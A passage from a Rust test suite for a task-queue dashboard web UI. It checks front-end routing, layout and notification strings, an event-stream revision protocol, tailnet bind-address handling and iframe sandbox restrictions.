21229        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
21230        assert!(
21231            APP_JS.contains(
21232                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21233            ),
21234            "`#/queue/<id>` must parse into a route carrying that id"
21235        );
21236
21237        // And the Backlog view has to actually land on the card once it can
21238        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21239        // so a focus set before the queue has loaded is retried once it has.
21240        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21241        assert!(APP_JS.contains("function consumeQueueFocus()"));
21242        assert!(APP_JS.contains("jumpToTask(id)"));
21243    }
21244
21245    #[test]
21246    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21247        let start = APP_JS
21248            .find("function noticeCoveredBy(")
21249            .expect("noticeCoveredBy exists");
21250        let body = &APP_JS[start..];
21251        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21252
21253        // Historical associations are informational, even for open questions.
21254        assert!(body.contains("Associated question ${short}"));
21255        assert!(!body.contains("el(\"a\""));
21256
21257        // A resolved question displays status rather than an actionable link
21258        assert!(body.contains("(resolved)"));
21259        assert!(body.contains("(closed)"));
21260
21261        let start = APP_JS
21262            .find("function renderNotifications()")
21263            .expect("renderNotifications exists");
21264        let body = &APP_JS[start..];
21265        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21266
21267        // Only a server-resolved answerable question supplies a response link.
21268        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21269        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21270        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21271        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21272    }
21273
21274    /// Chat rows are two lines at every width: the title alone, then the
21275    /// shrinkable secondary info.
21276    #[test]
21277    fn chat_rows_put_the_title_alone_on_the_first_line() {
21278        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21279        assert!(APP_CSS.contains(
21280            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21281        ));
21282        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21283        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21284    }
21285
21286    #[test]
21287    fn run_rows_put_the_title_alone_on_the_first_line() {
21288        assert!(
21289            APP_CSS.contains(
21290                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
21291            )
21292        );
21293        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21294        assert!(APP_JS.contains("class: \"card run-card\""));
21295        assert!(APP_JS.contains("class: \"repo run-id\""));
21296    }
21297
21298    /// Wide screens get a master/detail layout built from the views a phone
21299    /// drills into. These are string assertions: they pin the contract between
21300    /// the three assets, not how it looks.
21301    #[test]
21302    fn wide_screens_show_list_and_preview_side_by_side() {
21303        // One breakpoint, spelled the same in the script and the stylesheet.
21304        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21305        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21306        assert!(APP_CSS.contains("main[data-split]"));
21307        assert!(APP_CSS.contains("body[data-split]"));
21308
21309        // The route -> panes table, and a narrow screen opting out of it.
21310        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
21311        assert!(
21312            APP_JS.contains(
21313                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21314            )
21315        );
21316        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21317        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21318        assert!(INDEX_HTML.contains("id=\"split-empty\""));
21319
21320        // Selection is derived from the route, and only ever paints a row.
21321        assert!(APP_JS.contains("function markSelected() {"));
21322        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21323        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21324        // The dense row must override the stacked card the 720px block sets up.
21325        assert!(
21326            APP_CSS.contains(
21327                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21328            )
21329        );
21330
21331        // Independent scrolling: the page stops scrolling, each pane does.
21332        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21333        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21334        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21335        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21336
21337        // A refresh must never navigate: the loaders still check that their
21338        // subject is the one on screen, and crossing the breakpoint only
21339        // re-reads the hash.
21340        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21341        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21342        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21343        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21344
21345        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
21346        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21347    }
21348
21349    #[test]
21350    fn panel_sandbox_carries_exactly_popups() {
21351        let needle = "sandbox: \"";
21352        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21353        assert_eq!(
21354            matches.len(),
21355            1,
21356            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21357        );
21358        let start = matches[0].0 + needle.len();
21359        let end = APP_JS[start..]
21360            .find('"')
21361            .expect("sandbox attribute value must be terminated by a closing quote");
21362        let val = &APP_JS[start..start + end];
21363        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21364        let expected: std::collections::BTreeSet<&str> =
21365            ["allow-popups", "allow-popups-to-escape-sandbox"]
21366                .into_iter()
21367                .collect();
21368        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21369        assert!(
21370            !tokens.contains("allow-scripts"),
21371            "allow-scripts must never be present in sandbox"
21372        );
21373        assert!(
21374            !tokens.contains("allow-same-origin"),
21375            "allow-same-origin must never be present in sandbox"
21376        );
21377    }
21378
21379    #[test]
21380    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21381        // consumeQueueFocus() clears an active Backlog search before it can
21382        // scroll to the target card (the sections list is hidden while a
21383        // search is showing), by recursing back into renderQueue(). The
21384        // fixer's first cut nulled state.queueFocus before that recursive
21385        // call, so the second pass saw nothing to jump to and the jump was
21386        // silently dropped whenever a notification's link was opened with a
21387        // stale search still active. state.queueFocus must only be cleared
21388        // right before jumpToTask() actually runs.
21389        assert!(
21390            APP_JS.contains(
21391                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
21392            ),
21393            "the search-clearing branch must run before state.queueFocus is cleared, or the \
21394             recursive renderQueue() call has nothing left to jump to"
21395        );
21396        assert!(
21397            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21398            "state.queueFocus must be cleared only once the jump has landed, so a card that \
21399             arrives later still gets it"
21400        );
21401        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21402        assert!(APP_JS.contains("is not in the current Backlog."));
21403        assert!(APP_JS.contains("li.card[data-task-id=\""));
21404        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21405        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21406        assert!(APP_CSS.contains(".card-permalink"));
21407        assert!(APP_CSS.contains(".queue-focus-status"));
21408        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21409    }
21410
21411    #[test]
21412    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21413        // The task's own repro: only the link text inside .notice-meta was
21414        // clickable, so a tap on the message, the timestamp, or the card's
21415        // padding did nothing - on a phone that reads as "the card doesn't
21416        // work" even though the tiny link inside it did. Mark read / Dismiss
21417        // must keep working independently of this: `.closest("a, button")`
21418        // is what lets a tap that actually lands on those elements fall
21419        // through instead of being hijacked into a navigation.
21420        assert!(
21421            APP_JS.contains(
21422                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21423            ),
21424            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21425        );
21426    }
21427
21428    #[test]
21429    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21430        assert!(
21431            APP_JS.contains("round.verified_head !== round.head"),
21432            "a round that verified an earlier commit must be visibly distinct from one that \
21433             verified the head reviewers are looking at now"
21434        );
21435        assert!(
21436            APP_JS.contains("round.verified_at"),
21437            "when a check ran must be on the wire, not just which commit"
21438        );
21439        assert!(
21440            APP_JS.contains("resource_blocked"),
21441            "a command magi never got to run (shared build cache contention) must not render \
21442             the same as a command that ran and failed"
21443        );
21444    }
21445
21446    #[test]
21447    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
21448        // Every KPI tile but Total runs and Completion names an exact
21449        // RunStatus and hands it to openRunsFiltered(), which is what wires
21450        // the click into state.runsFilter.status (matchesFilter's own
21451        // status check) rather than the coarser runsStateFilter chips. Each
21452        // status literal here must be one of the strings runSection() (and
21453        // isStale()) actually compare a run's own `status` field against -
21454        // a status this dashboard invented would filter to nothing.
21455        assert!(
21456            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
21457            "every KPI tile built through statusTile() must route its click through \
21458             openRunsFiltered, the single place that sets the Runs filter"
21459        );
21460        for (label, status) in [
21461            ("Merged", "merged"),
21462            ("Ready", "ready"),
21463            ("Blocked", "blocked"),
21464            ("Stalled", "stalled"),
21465        ] {
21466            let call = format!("statusTile(\"{label}\", t.{status}, ");
21467            assert!(
21468                APP_JS.contains(&call),
21469                "expected the {label} KPI tile built via {call}..."
21470            );
21471            assert!(
21472                APP_JS.contains(&format!("status === \"{status}\"")),
21473                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
21474                 compare a run against, not one invented only for the stats tile"
21475            );
21476        }
21477        assert!(
21478            APP_JS.contains("function openRunsFiltered(status)"),
21479            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
21480        );
21481        assert!(
21482            APP_JS.contains(
21483                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
21484            ),
21485            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
21486        );
21487        // applyRoute() only flips which view is visible for a plain `#runs`
21488        // hash - it does not itself redraw the list (see applyRoute's own
21489        // handling below) - so openRunsFiltered must call renderRuns()
21490        // itself, and must call applyRoute() too so the view flips even
21491        // when the hash string doesn't change (the operator may already be
21492        // on the Runs view when a tile is tapped, which fires no
21493        // hashchange event at all).
21494        assert!(
21495            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
21496            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
21497             hashchange event that may never fire"
21498        );
21499    }
21500
21501    #[test]
21502    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
21503        // A stats tile can leave state.runsFilter.status set to something
21504        // done-by-construction (e.g. "merged") - picking "Active" afterward
21505        // must drop it the same way an incompatible tree section is already
21506        // dropped, or the Runs list renders permanently empty with no way
21507        // for the operator to tell why.
21508        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
21509        assert!(
21510            APP_JS.contains(
21511                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
21512            ),
21513            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
21514             guard for an incompatible tree section"
21515        );
21516    }
21517
21518    #[test]
21519    fn every_stats_queue_tile_names_a_real_queue_section() {
21520        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
21521        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
21522        // (consumeQueueSectionFocus finds no matching <details> and drops
21523        // the focus) rather than fail loudly, so pin every key against the
21524        // section list it has to resolve against.
21525        assert!(
21526            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
21527            "every queue tile built through sectionTile() must route its click through \
21528             openQueueSectionFocus"
21529        );
21530        for key in ["upnext", "running", "done", "held", "blocked"] {
21531            assert!(
21532                APP_JS.contains(&format!("{{ key: \"{key}\",")),
21533                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
21534            );
21535        }
21536        // Queued and Failed intentionally both resolve to "upnext" - the
21537        // same section queueSection() itself files them under - rather than
21538        // getting a section each.
21539        for line in [
21540            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
21541            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
21542            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
21543            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
21544            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
21545            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
21546        ] {
21547            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
21548        }
21549    }
21550
21551    #[test]
21552    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
21553        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
21554        // above for the section-focus channel a stats queue tile drives:
21555        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
21556        // through the stale-search-clear recursion into renderQueue(), and
21557        // clear it only once revealQueueSection() is actually about to run -
21558        // the same trap that once silently dropped a task-focus jump.
21559        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
21560        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
21561        assert!(APP_JS.contains("function revealQueueSection(details)"));
21562        assert!(
21563            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
21564            "renderQueue() must consume both focus channels on every pass"
21565        );
21566        assert!(
21567            APP_JS.contains(
21568                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
21569            ),
21570            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
21571             the recursive renderQueue() call has nothing left to reveal"
21572        );
21573        assert!(
21574            APP_JS.contains(
21575                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
21576            ),
21577            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
21578        );
21579        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
21580        // task-focus form of the hash - a plain `#queue` navigation only
21581        // flips which view is visible. openQueueSectionFocus() must
21582        // therefore call renderQueue() itself, and applyRoute() too so the
21583        // view flips even when the hash doesn't change (the Backlog may
21584        // already be open when a tile is tapped, firing no hashchange
21585        // event at all).
21586        assert!(
21587            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
21588            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
21589             hashchange event that may never fire"
21590        );
21591    }
21592
21593    #[tokio::test]
21594    async fn the_change_stream_announces_the_current_revisions_on_connect() {
21595        let f = Fixture::start().await;
21596
21597        let mut socket = tokio::net::TcpStream::connect(f.addr)
21598            .await
21599            .expect("connect");
21600        socket
21601            .write_all(
21602                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
21603            )
21604            .await
21605            .expect("write request");
21606
21607        // Read until the first event arrives rather than to end of stream: the
21608        // stream is endless by design, which is the point of the route.
21609        let mut seen = String::new();
21610        let mut buf = [0u8; 1024];
21611        while !seen.contains("event: change") {
21612            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
21613                .await
21614                .expect("the stream must speak within five seconds")
21615                .expect("read");
21616            assert!(read > 0, "the server closed the change stream: {seen}");
21617            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
21618        }
21619
21620        assert!(
21621            seen.to_lowercase()
21622                .contains("content-type: text/event-stream"),
21623            "the browser only reconnects automatically for a real SSE stream: {seen}"
21624        );
21625        let data = seen
21626            .lines()
21627            .find_map(|l| l.strip_prefix("data:"))
21628            .expect("a data line");
21629        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
21630        assert!(
21631            payload["queue_rev"].is_u64()
21632                && payload["runs_rev"].is_u64()
21633                && payload["questions_rev"].is_u64()
21634                && payload["talks_rev"].is_u64()
21635                && payload["notifications_rev"].is_u64()
21636                && payload["loop_rev"].is_u64(),
21637            "the client needs one revision per store to know what to refetch, \
21638             and `talks_rev` is the only notification a standing talk gets - a \
21639             phone whose radio slept through a turn learns about it here, as \
21640             does one whose operator started the loop from another device: \
21641             {payload}"
21642        );
21643
21644        // The front end re-polls health on a timer and on wake, and takes the
21645        // revisions from that answer whenever the stream is not up. So health
21646        // has to carry every key the stream carries: a phone on a link that
21647        // will not hold an SSE connection is exactly the phone that must still
21648        // notice a question, and a missing key there is not a 500 but a UI
21649        // that quietly stops updating.
21650        let health = f.get("/api/health").await.json();
21651        for key in [
21652            "queue_rev",
21653            "runs_rev",
21654            "questions_rev",
21655            "talks_rev",
21656            "notifications_rev",
21657            "loop_rev",
21658        ] {
21659            assert!(
21660                health[key].is_u64(),
21661                "health is the change stream's fallback and is missing `{key}`: {health}"
21662            );
21663        }
21664    }
21665
21666    #[tokio::test]
21667    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
21668        let f = Fixture::start().await;
21669        let before = f.get("/api/health").await.json()["talks_rev"]
21670            .as_u64()
21671            .expect("talks_rev");
21672
21673        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
21674        std::thread::sleep(Duration::from_millis(10));
21675        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
21676        on_disk.turns.push(crate::talk::Turn {
21677            sender: None,
21678            breaks: Some(Vec::new()),
21679            messages: Vec::new(),
21680            posted_by: None,
21681            who: crate::talk::Who::Operator,
21682            body: "a new turn".to_owned(),
21683            at: Timestamp::now(),
21684            attachments: Vec::new(),
21685            usage: None,
21686        });
21687        f.talks().put(&mut on_disk).expect("record a turn");
21688
21689        let after = tokio::time::timeout(Duration::from_secs(5), async {
21690            loop {
21691                let revision = f.get("/api/health").await.json()["talks_rev"]
21692                    .as_u64()
21693                    .unwrap();
21694                if revision != before {
21695                    break revision;
21696                }
21697                tokio::time::sleep(Duration::from_millis(50)).await;
21698            }
21699        })
21700        .await
21701        .expect("shared monitor observes external turn");
21702        assert_ne!(
21703            before, after,
21704            "a phone must be able to notice a talk's reply without polling every store"
21705        );
21706    }
21707
21708    #[test]
21709    fn bind_reads_back_from_the_spelling_the_cli_prints() {
21710        // The CLI shows the default in `--help` and parses whatever comes
21711        // back, so the two directions have to agree or `--bind auto` breaks
21712        // the moment someone copies the help text.
21713        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
21714            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
21715        }
21716        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
21717        assert!("everywhere".parse::<Bind>().is_err());
21718    }
21719
21720    #[test]
21721    fn an_explicit_bind_address_is_taken_verbatim() {
21722        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
21723
21724        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
21725
21726        assert_eq!(addr, asked);
21727        assert!(
21728            warning.is_none(),
21729            "an operator who named an address gets no lecture"
21730        );
21731    }
21732
21733    #[test]
21734    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
21735        let (addr, warning) = resolve_bind(&Bind::Auto);
21736
21737        // This has to hold on a CI runner with no `tailscale` and on a dev box
21738        // with one, so the invariant asserted is the one shared by both
21739        // outcomes: the address is either a real tailnet address offered
21740        // without comment, or loopback with an explanation. What must never
21741        // happen is a silent fallback - an operator told "listening on
21742        // 127.0.0.1" with no reason would go looking for a firewall.
21743        match addr {
21744            IpAddr::V4(ip) if is_tailnet(&ip) => {
21745                assert!(warning.is_none(), "a tailnet address needs no warning");
21746            }
21747            other => {
21748                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
21749                let warning = warning.expect("a fallback has to explain itself");
21750                assert!(
21751                    warning.contains("127.0.0.1") && warning.contains("local-only"),
21752                    "the warning says what happened and what it costs: {warning}"
21753                );
21754            }
21755        }
21756    }
21757
21758    #[test]
21759    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
21760        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
21761        // boundary cases are what stop us binding to some other tool's idea of
21762        // an address.
21763        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
21764        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
21765        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
21766        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
21767        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
21768    }
21769
21770    #[test]
21771    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
21772        let ids = vec![
21773            "20260902-140501-aaaa".to_owned(),
21774            "20260902-140502-aabb".to_owned(),
21775        ];
21776
21777        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
21778        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
21779        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
21780
21781        assert_eq!(missing.status, StatusCode::NOT_FOUND);
21782        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
21783        assert_eq!(short, "20260902-140502-aabb");
21784    }
21785    #[tokio::test]
21786    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
21787        // The prompt tells agents to reference attachments by bare filename.
21788        // A document served at `.../panel` resolves `shot.png` against its own
21789        // directory, i.e. `.../shot.png`, which is not the asset route - so a
21790        // panel written exactly as instructed showed broken images. Caught by
21791        // looking at a real one in a browser, not by reading the code.
21792        let fx = Fixture::start().await;
21793        let id = panel(
21794            &fx,
21795            "<img src=\"shot.png\">",
21796            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
21797        );
21798
21799        // The frame's own URL ends in a filename, so its siblings are reachable.
21800        let doc = fx
21801            .get(&format!("/api/questions/{id}/panel/index.html"))
21802            .await;
21803        assert_eq!(doc.status, 200, "{}", doc.body);
21804        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
21805
21806        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
21807        assert_eq!(sibling.status, 200, "{}", sibling.body);
21808        assert_eq!(sibling.header("content-type"), Some("image/png"));
21809        assert_eq!(
21810            sibling.header("content-security-policy"),
21811            Some(PANEL_CSP),
21812            "the sibling route must carry the same policy as the asset route"
21813        );
21814
21815        // The original spelling keeps working: HEAD on it is how the front end
21816        // decides whether to mount a frame at all.
21817        assert_eq!(
21818            fx.head(&format!("/api/questions/{id}/panel")).await.status,
21819            200
21820        );
21821    }
21822
21823    #[test]
21824    fn delta_stamps_cover_add_update_remove_and_noop() {
21825        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
21826        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
21827        let delta = diff_stamps(&before, &after, 42);
21828        assert_eq!(delta.base, 42);
21829        assert_eq!(delta.changed, ["b", "c"]);
21830        assert_eq!(delta.removed, ["a"]);
21831        let same = diff_stamps(&after, &after, 43);
21832        assert!(same.changed.is_empty() && same.removed.is_empty());
21833        assert_ne!(stamps_revision(&before), stamps_revision(&after));
21834        let nanos: Stamps = [("b".into(), (2, 20))].into();
21835        let same_ms: Stamps = [("b".into(), (3, 20))].into();
21836        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
21837        assert_eq!(stamps_revision(&Stamps::new()), 0);
21838    }
21839
21840    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
21841        std::fs::create_dir_all(home.join("runs")).unwrap();
21842        Arc::new(
21843            Ui::new(
21844                Queue::at(home.join("queue")),
21845                Questions::at(home.join("questions")),
21846                Talks::at(home.join("talks")),
21847                home.join("runs"),
21848                home.to_owned(),
21849                PathBuf::from("/repo/magi"),
21850            )
21851            .with_worktrees_root(home.join("wt")),
21852        )
21853    }
21854
21855    #[test]
21856    fn monitor_scan_isolates_store_failures_and_recovers() {
21857        let home = TempDir::new().unwrap();
21858        let ui = delta_test_ui(home.path());
21859        std::fs::create_dir_all(ui.questions.root()).unwrap();
21860        std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
21861        let before = monitor_scan(&ui, None);
21862        std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
21863        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21864        std::fs::create_dir_all(ui.talks.root()).unwrap();
21865        std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
21866        let during = monitor_scan(&ui, Some(before.clone()));
21867        assert_eq!(during.0.2, before.0.2);
21868        assert_ne!(during.0.3, before.0.3);
21869        assert!(during.1[2].contains_key("new"));
21870        std::fs::remove_file(ui.questions.root()).unwrap();
21871        let after = monitor_scan(&ui, Some(during));
21872        assert_eq!(after.0.2, 0);
21873        assert_eq!(after.0.3, stamps_revision(&after.1[2]));
21874        // A failed first scan also permits healthy stores to publish.
21875        std::fs::write(ui.questions.root(), "not a directory").unwrap();
21876        assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
21877    }
21878
21879    #[tokio::test]
21880    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
21881        let home = TempDir::new().unwrap();
21882        let ui = delta_test_ui(home.path());
21883        let mut task = Task::new(
21884            "stream task".into(),
21885            "text".into(),
21886            PathBuf::from("/repo"),
21887            Source::Human,
21888        );
21889        ui.queue.put(&mut task).unwrap();
21890        let response = events(State(ui.clone())).await.into_response();
21891        let mut stream = response.into_body().into_data_stream();
21892        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
21893            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
21894                .await
21895                .unwrap()
21896                .unwrap()
21897                .unwrap();
21898            let text = String::from_utf8(chunk.to_vec()).unwrap();
21899            let data = text
21900                .lines()
21901                .find_map(|line| {
21902                    line.strip_prefix("data: ")
21903                        .or_else(|| line.strip_prefix("data:"))
21904                })
21905                .unwrap();
21906            serde_json::from_str(data).unwrap()
21907        }
21908        let initial = change(&mut stream).await;
21909        assert!(initial.get("queue_delta").is_none());
21910        task.instruction.push_str(" changed");
21911        ui.queue.put(&mut task).unwrap();
21912        let updated = change(&mut stream).await;
21913        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
21914        assert_eq!(
21915            updated["queue_delta"]["changed"],
21916            serde_json::json!([task.id])
21917        );
21918        assert_eq!(
21919            updated["queue_rev"].as_u64(),
21920            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
21921        );
21922        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
21923        let removed = change(&mut stream).await;
21924        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
21925        assert_eq!(
21926            removed["queue_delta"]["removed"],
21927            serde_json::json!([task.id])
21928        );
21929    }
21930
21931    #[tokio::test]
21932    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
21933        let home = TempDir::new().unwrap();
21934        let ui = delta_test_ui(home.path());
21935        let queue = ui.queue.clone();
21936        let query = |ids: Option<&str>| {
21937            Query(ListQuery {
21938                limit: Some(2),
21939                ids: ids.map(str::to_owned),
21940            })
21941        };
21942        let mut root = Task::new(
21943            "root".into(),
21944            "instruction".into(),
21945            PathBuf::from("/repo"),
21946            Source::Human,
21947        );
21948        queue.put(&mut root).unwrap();
21949        let mut blocked = Task::new(
21950            "blocked".into(),
21951            "instruction".into(),
21952            PathBuf::from("/repo"),
21953            Source::Human,
21954        );
21955        blocked.block(vec![root.id.clone()], None);
21956        queue.put(&mut blocked).unwrap();
21957        let whole =
21958            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
21959                .unwrap();
21960        let subset = serde_json::to_value(
21961            queue_list(State(ui.clone()), query(Some(&root.id)))
21962                .await
21963                .unwrap()
21964                .0,
21965        )
21966        .unwrap();
21967        assert_eq!(whole, subset, "requested root plus its blocked dependent");
21968        let blockers = serde_json::to_value(
21969            queue_list(State(ui.clone()), query(Some("")))
21970                .await
21971                .unwrap()
21972                .0,
21973        )
21974        .unwrap();
21975        assert_eq!(blockers.as_array().unwrap().len(), 1);
21976        assert_eq!(blockers[0]["id"], blocked.id);
21977        assert_eq!(
21978            blockers[0]["waits_on"],
21979            whole
21980                .as_array()
21981                .unwrap()
21982                .iter()
21983                .find(|row| row["id"] == blocked.id)
21984                .unwrap()["waits_on"]
21985        );
21986
21987        for id in [
21988            "20260902-140501-aaaa",
21989            "20260902-140502-bbbb",
21990            "20260902-140503-cccc",
21991        ] {
21992            write_run(&ui.runs, id, RunStatus::Merged);
21993        }
21994        let old = serde_json::to_value(
21995            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
21996                .await
21997                .unwrap()
21998                .0,
21999        )
22000        .unwrap();
22001        assert!(
22002            old.as_array().unwrap().is_empty(),
22003            "older updates must not enter the window"
22004        );
22005        let newest = serde_json::to_value(
22006            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22007                .await
22008                .unwrap()
22009                .0,
22010        )
22011        .unwrap();
22012        assert_eq!(newest.as_array().unwrap().len(), 1);
22013        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22014
